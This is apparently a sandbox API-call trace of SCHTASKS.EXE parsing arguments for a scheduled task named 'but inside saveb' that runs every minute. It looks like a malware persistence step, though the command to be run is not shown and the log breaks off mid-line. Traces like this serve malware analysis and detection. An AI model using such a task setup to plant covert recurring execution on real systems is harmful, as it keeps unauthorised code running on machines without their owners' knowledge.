[0156.991] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x30) returned 0x247a70 [0156.991] _vsnwprintf (in: _Buffer=0x24c010, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x1bf628 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0156.991] GetProcessHeap () returned 0x230000 [0156.991] GetProcessHeap () returned 0x230000 [0156.991] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24c1c0) returned 1 [0156.991] GetProcessHeap () returned 0x230000 [0156.991] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24c1c0) returned 0x74e [0156.992] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24c1c0 | out: hHeap=0x230000) returned 1 [0156.992] SetLastError (dwErrCode=0x0) [0156.992] GetThreadLocale () returned 0x409 [0156.992] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.992] lstrlenW (lpString="?") returned 1 [0156.992] GetThreadLocale () returned 0x409 [0156.992] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.992] lstrlenW (lpString="create") returned 6 [0156.992] GetThreadLocale () returned 0x409 [0156.992] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.992] lstrlenW (lpString="delete") returned 6 [0156.992] GetThreadLocale () returned 0x409 [0156.992] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.992] lstrlenW (lpString="query") returned 5 [0156.992] GetThreadLocale () returned 0x409 [0156.992] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.992] lstrlenW (lpString="change") returned 6 [0156.992] GetThreadLocale () returned 0x409 [0156.992] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.992] lstrlenW (lpString="run") returned 3 [0156.992] GetThreadLocale () returned 0x409 [0156.992] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.992] lstrlenW (lpString="end") returned 3 [0156.992] GetThreadLocale () returned 0x409 [0156.992] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.992] lstrlenW (lpString="showsid") returned 7 [0156.992] GetThreadLocale () returned 0x409 [0156.993] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0156.993] SetLastError (dwErrCode=0x0) [0156.993] SetLastError (dwErrCode=0x0) [0156.993] lstrlenW (lpString="/create") returned 7 [0156.993] lstrlenW (lpString="-/") returned 2 [0156.993] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0156.993] lstrlenW (lpString="?") returned 1 [0156.993] lstrlenW (lpString="?") returned 1 [0156.993] GetProcessHeap () returned 0x230000 [0156.993] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x18) returned 0x24c1c0 [0156.993] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.993] GetProcessHeap () returned 0x230000 [0156.993] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0xa) returned 0x24c1e0 [0156.993] lstrlenW (lpString="create") returned 6 [0156.993] GetProcessHeap () returned 0x230000 [0156.993] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x18) returned 0x24c200 [0156.993] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.993] GetProcessHeap () returned 0x230000 [0156.993] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x14) returned 0x24c220 [0156.993] _vsnwprintf (in: _Buffer=0x24c1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|?|") returned 3 [0156.993] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|create|") returned 8 [0156.993] lstrlenW (lpString="|?|") returned 3 [0156.993] lstrlenW (lpString="|create|") returned 8 [0156.993] SetLastError (dwErrCode=0x490) [0156.993] lstrlenW (lpString="create") returned 6 [0156.993] lstrlenW (lpString="create") returned 6 [0156.993] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.993] GetProcessHeap () returned 0x230000 [0156.993] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24c1e0) returned 1 [0156.993] GetProcessHeap () returned 0x230000 [0156.993] RtlReAllocateHeap (Heap=0x230000, Flags=0xc, Ptr=0x24c1e0, Size=0x14) returned 0x24c240 [0156.993] lstrlenW (lpString="create") returned 6 [0156.993] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.993] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|create|") returned 8 [0156.993] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|create|") returned 8 [0156.993] lstrlenW (lpString="|create|") returned 8 [0156.993] lstrlenW (lpString="|create|") returned 8 [0156.993] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0156.993] SetLastError (dwErrCode=0x0) [0156.994] SetLastError (dwErrCode=0x0) [0156.994] SetLastError (dwErrCode=0x0) [0156.994] lstrlenW (lpString="/tn") returned 3 [0156.994] lstrlenW (lpString="-/") returned 2 [0156.994] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0156.994] lstrlenW (lpString="?") returned 1 [0156.994] lstrlenW (lpString="?") returned 1 [0156.994] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.994] lstrlenW (lpString="tn") returned 2 [0156.994] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.994] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|?|") returned 3 [0156.994] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|tn|") returned 4 [0156.994] lstrlenW (lpString="|?|") returned 3 [0156.994] lstrlenW (lpString="|tn|") returned 4 [0156.994] SetLastError (dwErrCode=0x490) [0156.994] lstrlenW (lpString="create") returned 6 [0156.994] lstrlenW (lpString="create") returned 6 [0156.994] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.994] lstrlenW (lpString="tn") returned 2 [0156.994] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.994] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|create|") returned 8 [0156.994] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|tn|") returned 4 [0156.994] lstrlenW (lpString="|create|") returned 8 [0156.994] lstrlenW (lpString="|tn|") returned 4 [0156.994] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0156.994] SetLastError (dwErrCode=0x490) [0156.994] lstrlenW (lpString="delete") returned 6 [0156.994] lstrlenW (lpString="delete") returned 6 [0156.994] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.994] lstrlenW (lpString="tn") returned 2 [0156.994] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.994] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|delete|") returned 8 [0156.994] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|tn|") returned 4 [0156.994] lstrlenW (lpString="|delete|") returned 8 [0156.994] lstrlenW (lpString="|tn|") returned 4 [0156.994] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0156.994] SetLastError (dwErrCode=0x490) [0156.995] lstrlenW (lpString="query") returned 5 [0156.995] lstrlenW (lpString="query") returned 5 [0156.995] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.995] lstrlenW (lpString="tn") returned 2 [0156.995] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.995] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|query|") returned 7 [0156.995] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|tn|") returned 4 [0156.995] lstrlenW (lpString="|query|") returned 7 [0156.995] lstrlenW (lpString="|tn|") returned 4 [0156.995] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0156.995] SetLastError (dwErrCode=0x490) [0156.995] lstrlenW (lpString="change") returned 6 [0156.995] lstrlenW (lpString="change") returned 6 [0156.995] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.995] lstrlenW (lpString="tn") returned 2 [0156.995] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.995] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|change|") returned 8 [0156.995] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|tn|") returned 4 [0156.995] lstrlenW (lpString="|change|") returned 8 [0156.995] lstrlenW (lpString="|tn|") returned 4 [0156.995] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0156.995] SetLastError (dwErrCode=0x490) [0156.995] lstrlenW (lpString="run") returned 3 [0156.995] lstrlenW (lpString="run") returned 3 [0156.995] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.995] lstrlenW (lpString="tn") returned 2 [0156.995] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.995] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|run|") returned 5 [0156.995] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|tn|") returned 4 [0156.995] lstrlenW (lpString="|run|") returned 5 [0156.995] lstrlenW (lpString="|tn|") returned 4 [0156.995] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0156.995] SetLastError (dwErrCode=0x490) [0156.995] lstrlenW (lpString="end") returned 3 [0156.995] lstrlenW (lpString="end") returned 3 [0156.995] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.995] lstrlenW (lpString="tn") returned 2 [0156.995] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.996] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|end|") returned 5 [0156.996] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|tn|") returned 4 [0156.996] lstrlenW (lpString="|end|") returned 5 [0156.996] lstrlenW (lpString="|tn|") returned 4 [0156.996] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0156.996] SetLastError (dwErrCode=0x490) [0156.996] lstrlenW (lpString="showsid") returned 7 [0156.996] lstrlenW (lpString="showsid") returned 7 [0156.996] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.996] GetProcessHeap () returned 0x230000 [0156.996] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24c240) returned 1 [0156.996] GetProcessHeap () returned 0x230000 [0156.996] RtlReAllocateHeap (Heap=0x230000, Flags=0xc, Ptr=0x24c240, Size=0x16) returned 0x24c240 [0156.996] lstrlenW (lpString="tn") returned 2 [0156.996] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.996] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|showsid|") returned 9 [0156.996] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|tn|") returned 4 [0156.996] lstrlenW (lpString="|showsid|") returned 9 [0156.996] lstrlenW (lpString="|tn|") returned 4 [0156.996] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0156.996] SetLastError (dwErrCode=0x490) [0156.996] SetLastError (dwErrCode=0x490) [0156.996] SetLastError (dwErrCode=0x0) [0156.996] lstrlenW (lpString="/tn") returned 3 [0156.996] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0156.996] SetLastError (dwErrCode=0x490) [0156.996] SetLastError (dwErrCode=0x0) [0156.997] lstrlenW (lpString="/tn") returned 3 [0156.997] GetProcessHeap () returned 0x230000 [0156.997] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x8) returned 0x24c1e0 [0156.997] GetProcessHeap () returned 0x230000 [0156.997] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cbf0 [0156.997] SetLastError (dwErrCode=0x0) [0156.997] SetLastError (dwErrCode=0x0) [0156.997] lstrlenW (lpString="but inside saveb") returned 16 [0156.997] lstrlenW (lpString="-/") returned 2 [0156.997] StrChrIW (lpStart="-/", wMatch=0x62) returned 0x0 [0156.997] SetLastError (dwErrCode=0x490) [0156.997] SetLastError (dwErrCode=0x490) [0156.997] SetLastError (dwErrCode=0x0) [0156.997] lstrlenW (lpString="but inside saveb") returned 16 [0156.997] StrChrIW (lpStart="but inside saveb", wMatch=0x3a) returned 0x0 [0156.997] SetLastError (dwErrCode=0x490) [0156.997] SetLastError (dwErrCode=0x0) [0156.997] lstrlenW (lpString="but inside saveb") returned 16 [0156.997] GetProcessHeap () returned 0x230000 [0156.997] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x22) returned 0x24cc20 [0156.997] GetProcessHeap () returned 0x230000 [0156.997] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cc50 [0156.997] SetLastError (dwErrCode=0x0) [0156.997] SetLastError (dwErrCode=0x0) [0156.997] lstrlenW (lpString="/sc") returned 3 [0156.997] lstrlenW (lpString="-/") returned 2 [0156.997] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0156.997] lstrlenW (lpString="?") returned 1 [0156.997] lstrlenW (lpString="?") returned 1 [0156.997] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.997] lstrlenW (lpString="sc") returned 2 [0156.997] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.998] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|?|") returned 3 [0156.998] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|sc|") returned 4 [0156.998] lstrlenW (lpString="|?|") returned 3 [0156.998] lstrlenW (lpString="|sc|") returned 4 [0156.998] SetLastError (dwErrCode=0x490) [0156.998] lstrlenW (lpString="create") returned 6 [0156.998] lstrlenW (lpString="create") returned 6 [0156.998] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.998] lstrlenW (lpString="sc") returned 2 [0156.998] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.998] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|create|") returned 8 [0156.998] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|sc|") returned 4 [0156.998] lstrlenW (lpString="|create|") returned 8 [0156.998] lstrlenW (lpString="|sc|") returned 4 [0156.998] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0156.998] SetLastError (dwErrCode=0x490) [0156.998] lstrlenW (lpString="delete") returned 6 [0156.998] lstrlenW (lpString="delete") returned 6 [0156.998] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.998] lstrlenW (lpString="sc") returned 2 [0156.998] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.998] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|delete|") returned 8 [0156.998] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|sc|") returned 4 [0156.998] lstrlenW (lpString="|delete|") returned 8 [0156.998] lstrlenW (lpString="|sc|") returned 4 [0156.998] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0156.999] SetLastError (dwErrCode=0x490) [0156.999] lstrlenW (lpString="query") returned 5 [0156.999] lstrlenW (lpString="query") returned 5 [0156.999] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.999] lstrlenW (lpString="sc") returned 2 [0156.999] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.999] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|query|") returned 7 [0156.999] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|sc|") returned 4 [0156.999] lstrlenW (lpString="|query|") returned 7 [0156.999] lstrlenW (lpString="|sc|") returned 4 [0156.999] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0156.999] SetLastError (dwErrCode=0x490) [0156.999] lstrlenW (lpString="change") returned 6 [0156.999] lstrlenW (lpString="change") returned 6 [0156.999] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.999] lstrlenW (lpString="sc") returned 2 [0156.999] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.999] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|change|") returned 8 [0156.999] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|sc|") returned 4 [0156.999] lstrlenW (lpString="|change|") returned 8 [0156.999] lstrlenW (lpString="|sc|") returned 4 [0156.999] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0156.999] SetLastError (dwErrCode=0x490) [0156.999] lstrlenW (lpString="run") returned 3 [0156.999] lstrlenW (lpString="run") returned 3 [0156.999] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.999] lstrlenW (lpString="sc") returned 2 [0156.999] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.000] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|run|") returned 5 [0157.000] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|sc|") returned 4 [0157.000] lstrlenW (lpString="|run|") returned 5 [0157.000] lstrlenW (lpString="|sc|") returned 4 [0157.000] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0157.000] SetLastError (dwErrCode=0x490) [0157.000] lstrlenW (lpString="end") returned 3 [0157.000] lstrlenW (lpString="end") returned 3 [0157.000] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.000] lstrlenW (lpString="sc") returned 2 [0157.000] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.000] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|end|") returned 5 [0157.000] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|sc|") returned 4 [0157.000] lstrlenW (lpString="|end|") returned 5 [0157.000] lstrlenW (lpString="|sc|") returned 4 [0157.000] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0157.000] SetLastError (dwErrCode=0x490) [0157.000] lstrlenW (lpString="showsid") returned 7 [0157.000] lstrlenW (lpString="showsid") returned 7 [0157.000] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.000] lstrlenW (lpString="sc") returned 2 [0157.000] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.000] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|showsid|") returned 9 [0157.000] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|sc|") returned 4 [0157.001] lstrlenW (lpString="|showsid|") returned 9 [0157.001] lstrlenW (lpString="|sc|") returned 4 [0157.001] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0157.001] SetLastError (dwErrCode=0x490) [0157.001] SetLastError (dwErrCode=0x490) [0157.001] SetLastError (dwErrCode=0x0) [0157.001] lstrlenW (lpString="/sc") returned 3 [0157.001] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0157.001] SetLastError (dwErrCode=0x490) [0157.001] SetLastError (dwErrCode=0x0) [0157.001] lstrlenW (lpString="/sc") returned 3 [0157.001] GetProcessHeap () returned 0x230000 [0157.001] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x8) returned 0x24c270 [0157.001] GetProcessHeap () returned 0x230000 [0157.001] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cc80 [0157.001] SetLastError (dwErrCode=0x0) [0157.001] SetLastError (dwErrCode=0x0) [0157.001] lstrlenW (lpString="MINUTE") returned 6 [0157.001] lstrlenW (lpString="-/") returned 2 [0157.001] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0157.001] SetLastError (dwErrCode=0x490) [0157.001] SetLastError (dwErrCode=0x490) [0157.001] SetLastError (dwErrCode=0x0) [0157.001] lstrlenW (lpString="MINUTE") returned 6 [0157.001] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0157.001] SetLastError (dwErrCode=0x490) [0157.001] SetLastError (dwErrCode=0x0) [0157.001] lstrlenW (lpString="MINUTE") returned 6 [0157.001] GetProcessHeap () returned 0x230000 [0157.002] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0xe) returned 0x24d4e0 [0157.002] GetProcessHeap () returned 0x230000 [0157.002] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24ccb0 [0157.002] SetLastError (dwErrCode=0x0) [0157.002] SetLastError (dwErrCode=0x0) [0157.002] lstrlenW (lpString="/mo") returned 3 [0157.002] lstrlenW (lpString="-/") returned 2 [0157.002] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0157.002] lstrlenW (lpString="?") returned 1 [0157.002] lstrlenW (lpString="?") returned 1 [0157.002] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.002] lstrlenW (lpString="mo") returned 2 [0157.002] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.002] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|?|") returned 3 [0157.002] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|mo|") returned 4 [0157.002] lstrlenW (lpString="|?|") returned 3 [0157.002] lstrlenW (lpString="|mo|") returned 4 [0157.002] SetLastError (dwErrCode=0x490) [0157.002] lstrlenW (lpString="create") returned 6 [0157.002] lstrlenW (lpString="create") returned 6 [0157.002] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.002] lstrlenW (lpString="mo") returned 2 [0157.002] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.002] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|create|") returned 8 [0157.002] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|mo|") returned 4 [0157.002] lstrlenW (lpString="|create|") returned 8 [0157.002] lstrlenW (lpString="|mo|") returned 4 [0157.002] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0157.002] SetLastError (dwErrCode=0x490) [0157.002] lstrlenW (lpString="delete") returned 6 [0157.003] lstrlenW (lpString="delete") returned 6 [0157.003] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.003] lstrlenW (lpString="mo") returned 2 [0157.003] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.003] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|delete|") returned 8 [0157.003] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|mo|") returned 4 [0157.003] lstrlenW (lpString="|delete|") returned 8 [0157.003] lstrlenW (lpString="|mo|") returned 4 [0157.003] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0157.003] SetLastError (dwErrCode=0x490) [0157.003] lstrlenW (lpString="query") returned 5 [0157.003] lstrlenW (lpString="query") returned 5 [0157.003] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.003] lstrlenW (lpString="mo") returned 2 [0157.003] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.003] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|query|") returned 7 [0157.003] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|mo|") returned 4 [0157.003] lstrlenW (lpString="|query|") returned 7 [0157.003] lstrlenW (lpString="|mo|") returned 4 [0157.003] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0157.003] SetLastError (dwErrCode=0x490) [0157.003] lstrlenW (lpString="change") returned 6 [0157.003] lstrlenW (lpString="change") returned 6 [0157.003] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.003] lstrlenW (lpString="mo") returned 2 [0157.003] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.004] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|change|") returned 8 [0157.004] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf638 | out: _Buffer="|mo|") returned 4 [0157.004] lstrlenW (lpString="|change|") returned 8 [0157.004] lstrlenW (lpString="|mo|") returned 4 [0157.004] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0157.004] SetLastError (dwErrCode=0x490) [0157.004] lstrlenW (lpString="run") returned 3 [0157.004] lstrlenW (lpString="run") returned 3 [0157.004] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.004] lstrlenW (lpString="mo") returned 2 [0157.004] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.004] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf638 | out: 